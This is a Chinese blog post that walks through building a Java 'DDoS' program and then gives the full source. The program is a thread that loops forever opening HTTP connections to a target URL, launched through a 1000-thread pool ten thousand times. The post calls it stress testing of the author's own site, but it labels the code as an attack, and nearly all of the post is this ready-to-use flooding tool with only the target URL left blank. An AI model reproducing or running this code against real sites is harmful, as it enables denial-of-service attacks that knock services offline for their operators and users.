Java实现压力测试

声明:本文中DDOs压力测试的网站是自己的测试网站,请勿将DDOs压力测试用于非法的用途上!

提到DDOs,相信大家都不陌生,网络上有很多用py实现的DDOs程序,那么我大java怎能甘拜下风呢?本文就用java写DDOs的程序!

  • 首先创建一个线程!
class Mythread implements Runnable {
    @Override         //精准覆写
    public void run() {  
    }
}
  • 然后再写一个访问网站的小功能
 URL url = new URL("#");  //这里填网址
                URLConnection conn = url.openConnection();
                System.out.println("发包成功!");
  • 再写攻击的部分
BufferedInputStream bis = new BufferedInputStream(
                         conn.getInputStream());
                 byte[] bytes = new byte[1024];
                 int len = -1;
                 StringBuffer sb = new StringBuffer();
                 if (bis != null) {
                     if ((len = bis.read()) != -1) {
                         sb.append(new String(bytes, 0, len));
                         System.out.println("攻击成功!");
                         bis.close();
                     }
                 }
  • 之后,再加个循环和异常捕获
while (true) {
            try {
        		 URL url = new URL("#");//攻击网址
                 URLConnection conn = url.openConnection();
                 System.out.println("发包成功!");
                 BufferedInputStream bis = new BufferedInputStream(
                         conn.getInputStream());
                 byte[] bytes = new byte[1024];
                 int len = -1;
                 StringBuffer sb = new StringBuffer();
                 if (bis != null) {
                     if ((len = bis.read()) != -1) {
                         sb.append(new String(bytes, 0, len));
                         System.out.println("攻击成功!");
                         bis.close();
                     }
                 }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
 
        }
  • 于是就有了这个class
class Mythread implements Runnable {
	@Override
    public void run() {
        while (true) {
            try {
        		 URL url = new URL("#");//攻击网址
                 URLConnection conn = url.openConnection();
                 System.out.println("发包成功!");
                 BufferedInputStream bis = new BufferedInputStream(
                         conn.getInputStream());
                 byte[] bytes = new byte[1024];
                 int len = -1;
                 StringBuffer sb = new StringBuffer();
                 if (bis != null) {
                     if ((len = bis.read()) != -1) {
                         sb.append(new String(bytes, 0, len));
                         System.out.println("攻击成功!");
                         bis.close();
                     }
                 }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
 
        }
    }
}

  • 再加个主类执行就OK了!
public class DDOs {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread1 = new Mythread();
        Thread thread1 = new Thread(mythread1);
        for (int i = 0; i < 10000; i++) { //循环创建10000个循环线程
            es.execute(thread1);
        }
    }
}

完整程序

package DDOs;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class DDOs {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread1 = new Mythread();
        Thread thread1 = new Thread(mythread1);
        Mythread mythread2 = new Mythread();
        Thread thread2 = new Thread(mythread2);
        Mythread mythread3 = new Mythread();
        Thread thread3 = new Thread(mythread3);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread1);
            es.execute(thread2);
            es.execute(thread3);
        }
    }
}
class Mythread implements Runnable {
	@Override
    public void run() {
        while (true) {
            try {
        		 URL url = new URL("#");//攻击网址
                 URLConnection conn = url.openConnection();
                 System.out.println("发包成功!");
                 BufferedInputStream bis = new BufferedInputStream(
                         conn.getInputStream());
                 byte[] bytes = new byte[1024];
                 int len = -1;
                 StringBuffer sb = new StringBuffer();
                 if (bis != null) {
                     if ((len = bis.read()) != -1) {
                         sb.append(new String(bytes, 0, len));
                         System.out.println("攻击成功!");
                         bis.close();
                     }
                 }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
 
        }
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Spasol

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值